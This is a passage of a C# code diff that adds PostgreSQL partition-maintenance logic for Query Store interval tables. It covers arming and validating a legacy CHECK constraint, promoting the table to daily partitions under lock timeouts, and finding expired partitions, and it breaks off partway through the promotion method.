+            start = floor;
+        }
+
+        return DaysBetween(start, today.AddDays(DaysAhead));
+    }
+
+    private static List<DateTime> DaysBetween(DateTime first, DateTime lastInclusive)
+    {
+        var days = new List<DateTime>();
+        for (var d = first; d <= lastInclusive; d = d.AddDays(1))
+        {
+            days.Add(d);
+        }
+
+        return days;
+    }
+
+    /// <summary>
+    /// The partitions to drop, oldest first: a bounded partition whose upper bound is at or before <paramref name="cutoff"/>.
+    /// That is a whole expired day, and the legacy table once S is at or before the cutoff. DEFAULT and an unbounded
+    /// legacy table are never returned, and a day that straddles the cutoff is kept.
+    /// </summary>
+    public static IReadOnlyList<PartitionInfo> ExpiredPartitions(IEnumerable<PartitionInfo> partitions, DateTime cutoff) =>
+        partitions
+            .Where(p => !p.IsDefault && !p.UpperUnbounded && p.Upper.HasValue && p.Upper.Value <= cutoff)
+            .OrderBy(p => p.Upper)
+            .ToList();
+
+    /// <summary>The newest finite upper bound among the partitions, or null when there is none.</summary>
+    public static DateTime? NewestUpper(IEnumerable<PartitionInfo> partitions)
+    {
+        DateTime? newest = null;
+        foreach (var partition in partitions)
+        {
+            if (!partition.IsDefault && !partition.UpperUnbounded && partition.Upper.HasValue
+                && (newest is null || partition.Upper.Value > newest.Value))
+            {
+                newest = partition.Upper.Value;
+            }
+        }
+
+        return newest;
+    }
+
+    // ---------------------------------------------------------------------------------------------------------------
+    // SQL
+    // ---------------------------------------------------------------------------------------------------------------
+
+    /* One read of the whole decision: $1 parent, $2 legacy, $3 the CHECK's name, $4 DEFAULT. Every name is bound. */
+    internal const string StateSql = @"
+SELECT
+    (SELECT c.relkind::text FROM pg_class AS c WHERE c.oid = to_regclass($1)) AS parent_kind,
+    to_regclass($2) IS NOT NULL AS legacy_exists,
+    (SELECT pg_get_constraintdef(k.oid) FROM pg_constraint AS k WHERE k.conrelid = to_regclass($2) AND k.conname = $3) AS check_def,
+    (SELECT k.convalidated FROM pg_constraint AS k WHERE k.conrelid = to_regclass($2) AND k.conname = $3) AS check_valid,
+    (SELECT pg_get_expr(c.relpartbound, c.oid) FROM pg_class AS c WHERE c.oid = to_regclass($2)) AS legacy_bound,
+    to_regclass($4) IS NOT NULL AS default_exists;";
+
+    /* The partitions directly under $1, with their bound text. */
+    internal const string PartitionsSql = @"
+SELECT format('%I.%I', n.nspname, c.relname), pg_get_expr(c.relpartbound, c.oid)
+FROM pg_inherits AS i
+JOIN pg_class AS c ON c.oid = i.inhrelid
+JOIN pg_namespace AS n ON n.oid = c.relnamespace
+WHERE i.inhparent = to_regclass($1)
+ORDER BY c.relname;";
+
+    /* Every index on the parent ($1) that has no VALID child on the legacy table ($2): the re-attach would build each of
+       these on the whole legacy heap. */
+    internal const string MissingLegacyChildSql = @"
+SELECT pi.indexrelid::regclass::text
+FROM pg_index AS pi
+WHERE pi.indrelid = to_regclass($1)
+AND   NOT EXISTS
+(
+    SELECT 1
+    FROM pg_inherits AS ih
+    JOIN pg_index AS ci ON ci.indexrelid = ih.inhrelid
+    WHERE ih.inhparent = pi.indexrelid
+    AND   ci.indrelid = to_regclass($2)
+    AND   ci.indisvalid
+)
+ORDER BY 1;";
+
+    /* $1 the legacy first-execution index, $2 the legacy table: true when it is valid, ready, not partial, on that table
+       and led by first_execution_time, which is what makes max(first_execution_time) one backward index probe. */
+    internal const string LegacyFirstExecIndexUsableSql = @"
+SELECT COALESCE
+(
+    (
+        SELECT i.indisvalid AND i.indisready AND i.indpred IS NULL AND i.indrelid = to_regclass($2)
+               AND i.indkey[0] = (SELECT a.attnum FROM pg_attribute AS a WHERE a.attrelid = i.indrelid AND a.attname = 'first_execution_time')
+        FROM pg_index AS i
+        WHERE i.indexrelid = to_regclass($1)
+    ),
+    false
+);";
+
+    /* ANALYZE of the parent; ONLY (PostgreSQL 18+) leaves the partitions to autovacuum. */
+    internal static string AnalyzeSql(IntervalTable table, bool only) => only ? $"ANALYZE ONLY {table.Parent};" : $"ANALYZE {table.Parent};";
+
+    private static string LockTimeoutSql => $"SET LOCAL lock_timeout = '{LockTimeoutSeconds}s';";
+
+    internal static string AddCheckSql(IntervalTable table, DateTime s) =>
+        $"ALTER TABLE {table.Legacy} ADD CONSTRAINT {table.CheckName} CHECK (first_execution_time < '{Literal(s)}'::timestamp) NOT VALID;";
+
+    internal static string DropCheckSql(IntervalTable table) =>
+        $"ALTER TABLE {table.Legacy} DROP CONSTRAINT IF EXISTS {table.CheckName};";
+
+    internal static string ValidateSql(IntervalTable table) =>
+        $"ALTER TABLE {table.Legacy} VALIDATE CONSTRAINT {table.CheckName};";
+
+    internal static string CreateDaySql(IntervalTable table, DateTime day) =>
+        $"CREATE TABLE {table.DayPartition(day)} PARTITION OF {table.Parent} "
+        + $"FOR VALUES FROM ('{Literal(day)}') TO ('{Literal(day.AddDays(1))}') WITH (fillfactor = 50);";
+
+    internal static string CreateDefaultSql(IntervalTable table) =>
+        $"CREATE TABLE {table.Default} PARTITION OF {table.Parent} DEFAULT WITH (fillfactor = 50);";
+
+    // ---------------------------------------------------------------------------------------------------------------
+    // Connection steps
+    // ---------------------------------------------------------------------------------------------------------------
+
+    private static bool IsLockTimeout(Exception ex) => ex is PostgresException pg && pg.SqlState == PostgresErrorCodes.LockNotAvailable;
+
+    private static NpgsqlCommand Command(NpgsqlConnection connection, string sql, int timeoutSeconds, NpgsqlTransaction? transaction = null) =>
+        new(sql, connection, transaction) { CommandTimeout = timeoutSeconds };
+
+    private static void AddText(NpgsqlCommand command, string value) =>
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = value });
+
+    private static async Task ExecuteAsync(
+        NpgsqlConnection connection, string sql, int timeoutSeconds, NpgsqlTransaction? transaction, CancellationToken cancellationToken)
+    {
+        await using var command = Command(connection, sql, timeoutSeconds, transaction);
+        await command.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+    }
+
+    /// <summary>Reads the catalogs for one table. <paramref name="connection"/> must be open.</summary>
+    public static async Task<PartitionState> ReadStateAsync(
+        NpgsqlConnection connection, IntervalTable table, CancellationToken cancellationToken, NpgsqlTransaction? transaction = null)
+    {
+        await using var command = Command(connection, StateSql, ShortTimeoutSeconds, transaction);
+        AddText(command, table.Parent);
+        AddText(command, table.Legacy);
+        AddText(command, table.CheckName);
+        AddText(command, table.Default);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+        await reader.ReadAsync(cancellationToken).ConfigureAwait(false);
+
+        char? kind = reader.IsDBNull(0) ? null : reader.GetString(0)[0];
+        var legacyExists = reader.GetBoolean(1);
+        var checkPresent = !reader.IsDBNull(2);
+        var checkValid = !reader.IsDBNull(3) && reader.GetBoolean(3);
+        DateTime? checkBound = checkPresent && TryParseCheckBound(reader.GetString(2), out var parsedBound) ? parsedBound : null;
+
+        var legacyUnbounded = false;
+        DateTime? legacyUpper = null;
+        if (!reader.IsDBNull(4)
+            && TryParsePartitionBound(reader.GetString(4), out _, out _, out var upper, out var upperUnbounded))
+        {
+            legacyUnbounded = upperUnbounded;
+            legacyUpper = upper;
+        }
+
+        return new PartitionState(kind, legacyExists, checkPresent, checkValid, checkBound, legacyUnbounded, legacyUpper, reader.GetBoolean(5));
+    }
+
+    /// <summary>Every partition directly under the parent.</summary>
+    public static async Task<IReadOnlyList<PartitionInfo>> ReadPartitionsAsync(
+        NpgsqlConnection connection, IntervalTable table, CancellationToken cancellationToken)
+    {
+        var partitions = new List<PartitionInfo>();
+        await using var command = Command(connection, PartitionsSql, ShortTimeoutSeconds);
+        AddText(command, table.Parent);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+        while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+        {
+            if (!reader.IsDBNull(1)
+                && TryParsePartitionBound(reader.GetString(1), out var isDefault, out var lower, out var upper, out var upperUnbounded))
+            {
+                partitions.Add(new PartitionInfo(reader.GetString(0), isDefault, lower, upper, upperUnbounded));
+            }
+        }
+
+        return partitions;
+    }
+
+    /// <summary>
+    /// What <see cref="ArmCoreAsync"/> does with the state it read: an early result (nothing to arm, or not ready), or
+    /// whether to drop the present CHECK first (a re-arm).
+    /// </summary>
+    private static (StepResult? Early, bool ReArm) DecideArm(IntervalTable table, PartitionState state, DateTime utcNow, bool reArmValid)
+    {
+        /* Promoted before everything else: once the legacy table is dropped the parent is still promoted, and that is not
+           "not ready" (#5571 review L2). */
+        if (state.Promoted)
+        {
+            return (new StepResult(StepOutcome.NothingToDo, "already promoted"), false);
+        }
+
+        if (!state.ParentIsPartitioned || !state.LegacyExists)
+        {
+            return (new StepResult(StepOutcome.NotReady, $"{table.Parent} is not a partitioned table with a legacy table yet"), false);
+        }
+
+        var reArm = state.CheckPresent && state.CheckBound.HasValue
+            && ShouldReArm(state.CheckBound.Value, utcNow) && (reArmValid || !state.CheckValid);
+        if (state.CheckPresent && !reArm)
+        {
+            return (new StepResult(StepOutcome.NothingToDo, state.CheckValid ? "already armed and valid" : "already armed"), false);
+        }
+
+        return (null, reArm);
+    }
+
+    /// <summary>
+    /// The legacy table's newest <c>first_execution_time</c>, read through the legacy first-execution index
+    /// (<c>idx_X_first_exec_legacy</c>, which leads with the column, so the maximum is one backward index probe) under
+    /// <c>SET LOCAL statement_timeout</c> of <see cref="LegacyMaxTimeoutSeconds"/> s. Null when the table is empty, when
+    /// that index is missing, invalid, partial or not led by the column (the read would scan the heap, so it is not
+    /// attempted), and when the read times out (rolled back to a savepoint, so the caller's transaction and its lock
+    /// survive). <paramref name="transaction"/> is required: the timeout is transaction-local and is reset afterwards.
+    /// </summary>
+    internal static async Task<DateTime?> ReadLegacyMaxAsync(
+        NpgsqlConnection connection, IntervalTable table, NpgsqlTransaction transaction, ILogger logger, CancellationToken cancellationToken)
+    {
+        bool usable;
+        await using (var probe = Command(connection, LegacyFirstExecIndexUsableSql, ShortTimeoutSeconds, transaction))
+        {
+            AddText(probe, table.LegacyFirstExecIndex);
+            AddText(probe, table.Legacy);
+            usable = (bool)(await probe.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false))!;
+        }
+
+        if (!usable)
+        {
+            logger.LogWarning(
+                "Query Store interval table {Table}: {Index} is missing or unusable, so the newest first_execution_time of {Legacy} was not read.",
+                table.Parent, table.LegacyFirstExecIndex, table.Legacy);
+            return null;
+        }
+
+        await ExecuteAsync(connection, "SAVEPOINT legacy_max;", ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+        try
+        {
+            await ExecuteAsync(
+                connection, $"SET LOCAL statement_timeout = '{LegacyMaxTimeoutSeconds}s';", ShortTimeoutSeconds, transaction, cancellationToken)
+                .ConfigureAwait(false);
+            object? value;
+            await using (var read = Command(connection, $"SELECT max(first_execution_time) FROM {table.Legacy};", LegacyMaxTimeoutSeconds + 5, transaction))
+            {
+                value = await read.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false);
+            }
+
+            /* The timeout was for this read only: the DDL after it keeps the session's own. */
+            await ExecuteAsync(connection, "RESET statement_timeout;", ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, "RELEASE SAVEPOINT legacy_max;", ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            return value is DateTime max ? DateTime.SpecifyKind(max, DateTimeKind.Unspecified) : null;
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.QueryCanceled)
+        {
+            await ExecuteAsync(connection, "ROLLBACK TO SAVEPOINT legacy_max;", ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            logger.LogWarning(
+                "Query Store interval table {Table}: reading the newest first_execution_time of {Legacy} took longer than {Seconds} s and was cancelled.",
+                table.Parent, table.Legacy, LegacyMaxTimeoutSeconds);
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// <see cref="ReadLegacyMaxAsync"/> in its own short transaction that takes no lock beyond the read's ACCESS SHARE
+    /// (#5589): the arm's far-future check before it requests ACCESS EXCLUSIVE, which would cancel a running autovacuum.
+    /// The transaction is only there for the transaction-local statement timeout and is rolled back.
+    /// </summary>
+    private static async Task<DateTime?> ReadLegacyMaxUnlockedAsync(
+        NpgsqlConnection connection, IntervalTable table, ILogger logger, CancellationToken cancellationToken)
+    {
+        await using var read = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+        var max = await ReadLegacyMaxAsync(connection, table, read, logger, cancellationToken).ConfigureAwait(false);
+        await read.RollbackAsync(cancellationToken).ConfigureAwait(false);
+        return max;
+    }
+
+    /// <summary>
+    /// Phase A step 1. Adds <c>CHECK (first_execution_time &lt; S) NOT VALID</c> to the legacy table, or re-arms a CHECK
+    /// that is still not valid with S closer than <see cref="ReArmWithin"/>. A valid CHECK is left alone here
+    /// (<see cref="ConvergeUnpromotedAsync"/> re-arms a valid one that cannot be promoted in time). S is
+    /// <see cref="ArmBoundFor"/>: the normal bound, or the day after the legacy table's newest row when that is later.
+    /// A lock timeout is retried <see cref="ArmRetries"/> times, <see cref="ArmRetryDelay"/> apart, then returns
+    /// <see cref="StepOutcome.RetryLater"/>.
+    /// </summary>
+    public static Task<StepResult> ArmAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken) =>
+        ArmAsync(connection, table, utcNow, logger, ArmRetryDelay, cancellationToken);
+
+    internal static Task<StepResult> ArmAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, TimeSpan retryDelay, CancellationToken cancellationToken) =>
+        ArmCoreAsync(connection, table, utcNow, logger, retryDelay, ArmRetries, reArmValid: false, cancellationToken);
+
+    /// <summary>
+    /// First, before any lock, the far-future check (#5589): the legacy maximum is read with no ACCESS EXCLUSIVE and, when
+    /// it is beyond the horizon, the step returns <see cref="StepOutcome.NotReady"/> without locking (a lock request
+    /// cancels a running autovacuum, and a table stuck in that state would ask every hour). Otherwise it arms or re-arms
+    /// in one transaction: <c>lock_timeout</c>, <c>LOCK TABLE legacy IN ACCESS EXCLUSIVE MODE</c> (so no
+    /// row can arrive between the next two reads and the CHECK), the state again (a concurrent arm, re-arm or promotion
+    /// wins and this step does nothing), the legacy maximum, then the DROP of the old CHECK when re-arming and the ADD
+    /// of the new one. <paramref name="retries"/> lock timeouts are retried <paramref name="retryDelay"/> apart; the
+    /// hourly convergence step passes 0 so it never sleeps inside its budget. <paramref name="reArmValid"/> lets a
+    /// valid CHECK be re-armed (it costs a new VALIDATE).
+    /// </summary>
+    internal static async Task<StepResult> ArmCoreAsync(
+        NpgsqlConnection connection,
+        IntervalTable table,
+        DateTime utcNow,
+        ILogger logger,
+        TimeSpan retryDelay,
+        int retries,
+        bool reArmValid,
+        CancellationToken cancellationToken)
+    {
+        for (var attempt = 0; ; attempt++)
+        {
+            var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+            var (early, _) = DecideArm(table, state, utcNow, reArmValid);
+            if (early is { } decided)
+            {
+                return decided;
+            }
+
+            /* The far-future check first, with no lock (#5589). A newest time beyond the horizon stays beyond it under the
+               lock (a later row only moves it later), so a table in that state returns here every hour without ever
+               requesting ACCESS EXCLUSIVE. That request cancels a running autovacuum, and while the table is unpromoted
+               the legacy table is the whole live table, so a ~5.5 h autovacuum would never finish. The read under the lock
+               below stays the one the arm trusts; a null here (no usable index, timeout, empty) falls through to it. */
+            var preMax = await ReadLegacyMaxUnlockedAsync(connection, table, logger, cancellationToken).ConfigureAwait(false);
+            if (IsLegacyMaxBeyondHorizon(utcNow, preMax, table.HorizonDays))
+            {
+                WarnFarFutureMax(logger, table, preMax!.Value, utcNow);
+                return new StepResult(
+                    StepOutcome.NotReady, $"{table.Legacy} holds a row dated {Literal(preMax.Value)}, too far ahead to arm over");
+            }
+
+            try
+            {
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                await ExecuteAsync(
+                    connection, $"LOCK TABLE {table.Legacy} IN ACCESS EXCLUSIVE MODE;", ShortTimeoutSeconds, transaction, cancellationToken)
+                    .ConfigureAwait(false);
+
+                var locked = await ReadStateAsync(connection, table, cancellationToken, transaction).ConfigureAwait(false);
+                var (raced, reArm) = DecideArm(table, locked, utcNow, reArmValid);
+                if (raced is { } already)
+                {
+                    await transaction.RollbackAsync(cancellationToken).ConfigureAwait(false);
+                    return already;
+                }
+
+                var legacyMax = await ReadLegacyMaxAsync(connection, table, transaction, logger, cancellationToken).ConfigureAwait(false);
+                if (IsLegacyMaxBeyondHorizon(utcNow, legacyMax, table.HorizonDays))
+                {
+                    await transaction.RollbackAsync(cancellationToken).ConfigureAwait(false);
+                    WarnFarFutureMax(logger, table, legacyMax!.Value, utcNow);
+                    return new StepResult(
+                        StepOutcome.NotReady, $"{table.Legacy} holds a row dated {Literal(legacyMax.Value)}, too far ahead to arm over");
+                }
+
+                var normal = ArmBound(utcNow);
+                var s = ArmBoundFor(utcNow, legacyMax);
+                if (reArm)
+                {
+                    await ExecuteAsync(connection, DropCheckSql(table), ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                }
+
+                await ExecuteAsync(connection, AddCheckSql(table, s), ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+                await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+                if (s > normal)
+                {
+                    logger.LogWarning(
+                        "Query Store interval table {Table}: the legacy table holds first_execution_time up to {Max:O} (a monitored clock ahead of the store's), "
+                        + "so the legacy bound S is {Bound:O} instead of {Normal:O}. The day partitions start at S.",
+                        table.Parent, legacyMax, s, normal);
+                }
+
+                logger.LogInformation(
+                    "Query Store interval table {Table}: armed the legacy bound S = {Bound:O} ({Action}).",
+                    table.Parent, s, reArm ? "re-armed" : "armed");
+                return new StepResult(StepOutcome.Done, $"{(reArm ? "re-armed" : "armed")} at {Literal(s)}", 1);
+            }
+            catch (PostgresException ex) when (IsLockTimeout(ex))
+            {
+                if (attempt >= retries)
+                {
+                    logger.LogWarning(
+                        "Query Store interval table {Table}: arming the legacy bound hit a lock timeout {Attempts} time(s); the next pass retries.",
+                        table.Parent, attempt + 1);
+                    return new StepResult(StepOutcome.RetryLater, "lock timeout");
+                }
+
+                logger.LogInformation(
+                    "Query Store interval table {Table}: arming the legacy bound hit a lock timeout; retrying in {Seconds:F0}s.",
+                    table.Parent, retryDelay.TotalSeconds);
+                await Task.Delay(retryDelay, cancellationToken).ConfigureAwait(false);
+            }
+        }
+    }
+
+    private static void WarnFarFutureMax(ILogger logger, IntervalTable table, DateTime legacyMax, DateTime utcNow)
+    {
+        var seen = FarFutureMaxWarned.TryGetValue(table.Parent, out var last) && last == legacyMax;
+        FarFutureMaxWarned[table.Parent] = legacyMax;
+        if (seen)
+        {
+            return;
+        }
+
+        logger.LogWarning(
+            "Query Store interval table {Table}: {Legacy} holds a row with first_execution_time {Max:O}, more than {Horizon} days past the normal "
+            + "legacy bound {Normal:O}. The table stays unpartitioned until that row is gone: arming over it would keep every new row in the legacy "
+            + "table for that long, and a promoted table is never re-armed. Delete the row (or let the retention horizon reach it); the first "
+            + "hourly pass after that arms the table.",
+            table.Parent, table.Legacy, legacyMax, table.HorizonDays, ArmBound(utcNow));
+    }
+
+    /// <summary>
+    /// The hourly convergence step for a table that is not promoted (#5571 review H1), cheap and bounded by 5 s lock
+    /// waits, with no VALIDATE and no sleeping: no CHECK, arm; a valid CHECK, one promote; and when the table is still
+    /// not promoted and S is closer than <see cref="ReArmWithin"/>, re-arm with a later S, valid or not (a valid one
+    /// costs a new VALIDATE, which is accepted). That is what keeps the CHECK from ever refusing a current row while
+    /// the table waits for its promotion. A promoted table returns <see cref="StepOutcome.NothingToDo"/>.
+    /// </summary>
+    public static async Task<StepResult> ConvergeUnpromotedAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (!state.ParentIsPartitioned)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not a partitioned table with a legacy table yet");
+        }
+
+        if (state.Promoted)
+        {
+            return new StepResult(StepOutcome.NothingToDo, "already promoted");
+        }
+
+        if (!state.CheckPresent)
+        {
+            return await ArmCoreAsync(connection, table, utcNow, logger, TimeSpan.Zero, 0, reArmValid: false, cancellationToken).ConfigureAwait(false);
+        }
+
+        StepResult? promoteResult = null;
+        if (state.CheckValid)
+        {
+            try
+            {
+                var promote = await PromoteAsync(connection, table, utcNow, logger, cancellationToken).ConfigureAwait(false);
+                if (promote.Outcome is StepOutcome.Done or StepOutcome.NothingToDo)
+                {
+                    return promote;
+                }
+
+                promoteResult = promote;
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                /* A promote that fails for any reason but a lock wait must not skip the re-arm below: at S a valid CHECK refuses
+                   every current row (#5571 review round 2 L3). */
+                logger.LogWarning(
+                    "Query Store interval table {Table}: the promotion failed ({Message}); the CHECK is re-armed if S is close, and the next pass tries again.",
+                    table.Parent, ex.Message);
+                promoteResult = new StepResult(StepOutcome.Refused, $"the promotion failed: {ex.Message}");
+            }
+        }
+
+        if (state.CheckBound.HasValue && ShouldReArm(state.CheckBound.Value, utcNow))
+        {
+            return await ArmCoreAsync(connection, table, utcNow, logger, TimeSpan.Zero, 0, reArmValid: true, cancellationToken).ConfigureAwait(false);
+        }
+
+        return promoteResult ?? new StepResult(StepOutcome.NothingToDo, "armed; the background validate proves it");
+    }
+
+    /// <summary>
+    /// Phase A step 2, run only by the background loop, never by a convergence step. Validates the legacy CHECK: a heap
+    /// read of the legacy table under SHARE UPDATE EXCLUSIVE, so upserts and reads continue. It never starts when S is
+    /// closer than <see cref="ValidateGuard"/> (the command deadline plus <see cref="ReArmWithin"/>): the result is
+    /// <see cref="StepOutcome.ReArmFirst"/>. The transaction also sets <c>statement_timeout</c> to the deadline, so the
+    /// server ends an orphaned VALIDATE itself. A lock timeout (autovacuum, a concurrent index build) returns
+    /// <see cref="StepOutcome.RetryLater"/>. A 23514 means the legacy table holds a row at or after S: the CHECK is
+    /// dropped, the table's newest <c>first_execution_time</c> is logged, and the result is
+    /// <see cref="StepOutcome.Refused"/> when that time was read (the loop re-arms with a later S at once), or
+    /// <see cref="StepOutcome.RetryLater"/> when it was not (a second VALIDATE would fail the same way).
+    /// </summary>
+    public static async Task<StepResult> ValidateAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (state.Promoted)
+        {
+            return new StepResult(StepOutcome.NothingToDo, "already promoted");
+        }
+
+        if (!state.ParentIsPartitioned || !state.LegacyExists || !state.CheckPresent || !state.CheckBound.HasValue)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Legacy} has no armed bound yet");
+        }
+
+        if (state.CheckValid)
+        {
+            return new StepResult(StepOutcome.NothingToDo, "already validated");
+        }
+
+        var s = state.CheckBound.Value;
+        if (!CanStartValidate(s, utcNow))
+        {
+            return new StepResult(StepOutcome.ReArmFirst, $"the bound {Literal(s)} is too close for a validate to finish: re-arm first");
+        }
+
+        var started = System.Diagnostics.Stopwatch.StartNew();
+        try
+        {
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            /* The server enforces the deadline too: a VALIDATE orphaned by a killed service or a lost cancel request would
+               otherwise keep its SHARE UPDATE EXCLUSIVE lock, and every re-arm would hit a lock timeout (#5571 review round 2 L2). */
+            await ExecuteAsync(
+                connection, $"SET LOCAL statement_timeout = '{ValidateTimeoutSeconds}s';", ShortTimeoutSeconds, transaction, cancellationToken)
+                .ConfigureAwait(false);
+            await ExecuteAsync(connection, ValidateSql(table), ValidateTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+        }
+        catch (PostgresException ex) when (IsLockTimeout(ex))
+        {
+            logger.LogWarning(
+                "Query Store interval table {Table}: validating the legacy bound hit a lock timeout; the background loop retries it.", table.Parent);
+            return new StepResult(StepOutcome.RetryLater, "lock timeout");
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.CheckViolation)
+        {
+            return await DropViolatedCheckAsync(connection, table, s, logger, cancellationToken).ConfigureAwait(false);
+        }
+
+        logger.LogInformation(
+            "Query Store interval table {Table}: validated the legacy bound in {Seconds:F1}s.", table.Parent, started.Elapsed.TotalSeconds);
+        return new StepResult(StepOutcome.Done, "validated");
+    }
+
+    /// <summary>
+    /// A VALIDATE failed with 23514: the legacy table holds a row at or after S (a monitored clock ahead of the store's).
+    /// Do not leave a CHECK armed that can never validate. Read the table's newest first_execution_time for the log (it
+    /// is only for the log, and it is the value the next arm uses for S), then drop the CHECK. If the drop hits a lock
+    /// timeout the CHECK stays, and the next background pass finds the same failure and tries the drop again.
+    /// </summary>
+    private static async Task<StepResult> DropViolatedCheckAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime s, ILogger logger, CancellationToken cancellationToken)
+    {
+        DateTime? legacyMax = null;
+        try
+        {
+            await using var read = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+            legacyMax = await ReadLegacyMaxAsync(connection, table, read, logger, cancellationToken).ConfigureAwait(false);
+            await read.CommitAsync(cancellationToken).ConfigureAwait(false);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger.LogWarning("Query Store interval table {Table}: the legacy maximum could not be read: {Message}", table.Parent, ex.Message);
+        }
+
+        var dropped = false;
+        try
+        {
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, DropCheckSql(table), ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+            dropped = true;
+        }
+        catch (PostgresException ex) when (IsLockTimeout(ex))
+        {
+            /* Left armed; the next pass drops it. */
+        }
+
+        logger.LogWarning(
+            "Query Store interval table {Table}: the legacy bound S = {Bound:O} could not be validated, because {Legacy} holds a row at or "
+            + "after it (newest first_execution_time {Max}). {Action}",
+            table.Parent, s, table.Legacy,
+            legacyMax.HasValue ? legacyMax.Value.ToString("O", CultureInfo.InvariantCulture) : "unknown",
+            dropped
+                ? "The CHECK was dropped; the next arm uses a later S when the newest row can be read."
+                : "The CHECK could not be dropped (lock timeout); the next pass tries again.");
+
+        /* With the maximum unknown the re-arm would use the normal S and the VALIDATE would fail the same way, so the background
+           loop must not run Phase A a second time in this pass: one heap read per pass, not two (#5571 review round 2 L4). */
+        if (!legacyMax.HasValue)
+        {
+            return new StepResult(StepOutcome.RetryLater, dropped ? "a legacy row is at or after S, newest unknown; the check was dropped" : "a legacy row is at or after S, newest unknown");
+        }
+
+        return new StepResult(StepOutcome.Refused, dropped ? "a legacy row is at or after S; the check was dropped" : "a legacy row is at or after S");
+    }
+
+    /// <summary>
+    /// Phase A step 3. In one transaction under a 5 s lock timeout: LOCK the parent, refuse (ROLLBACK, log) when a parent
+    /// index has no valid child on the legacy table (the re-attach would build it on the whole legacy heap), DETACH
+    /// legacy, ATTACH it <c>MINVALUE..S</c>, create the day partitions S through today plus
+    /// <see cref="DaysAhead"/>, and create DEFAULT last. A lock timeout returns <see cref="StepOutcome.RetryLater"/>.
+    /// Needs a valid CHECK; otherwise <see cref="StepOutcome.NotReady"/>.
+    /// </summary>
+    public static async Task<StepResult> PromoteAsync(
+        NpgsqlConnection connection, IntervalTable table, DateTime utcNow, ILogger logger, CancellationToken cancellationToken)
+    {
+        var state = await ReadStateAsync(connection, table, cancellationToken).ConfigureAwait(false);
+        if (state.Promoted)
+        {
+            return new StepResult(StepOutcome.NothingToDo, "already promoted");
+        }
+
+        if (!state.ParentIsPartitioned || !state.LegacyExists)
+        {
+            return new StepResult(StepOutcome.NotReady, $"{table.Parent} is not a partitioned table with a legacy table yet");
+        }
+
+        if (!state.CheckPresent || !state.CheckValid || !state.CheckBound.HasValue)
+        {
+            return new StepResult(StepOutcome.NotReady, "the legacy bound is not armed and valid yet");
+        }
+
+        var s = state.CheckBound.Value;
+        try
+        {
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(connection, LockTimeoutSql, ShortTimeoutSeconds, transaction, cancellationToken).ConfigureAwait(false);
+            await ExecuteAsync(
+                connection, $"LOCK TABLE {table.Parent} IN ACCESS EXCLUSIVE MODE;", ShortTimeoutSeconds, transaction, cancellationToken)
+                .ConfigureAwait(false);
+
+            /* The parent's lock takes the legacy table's too, so nothing changes from here on. A convergence step or the
+               background loop may have promoted, or re-armed, since the state above was read: the re-attach below is only
+               a metadata operation while the VALID CHECK for exactly this S is on the table (a re-armed CHECK is NOT
+               VALID, and the attach would then scan the whole legacy heap under this lock). */
+            var locked = await ReadStateAsync(connection, table, cancellationToken, transaction).ConfigureAwait(false);
+            if (locked.Promoted)
+            {
+                await transaction.RollbackAsync(cancellationToken).ConfigureAwait(false);
+                return new StepResult(StepOutcome.NothingToDo, "already promoted");
+            }
+
+            if (!locked.CheckValid || locked.CheckBound != s)
+            {
+                await transaction.RollbackAsync(cancellationToken).ConfigureAwait(false);
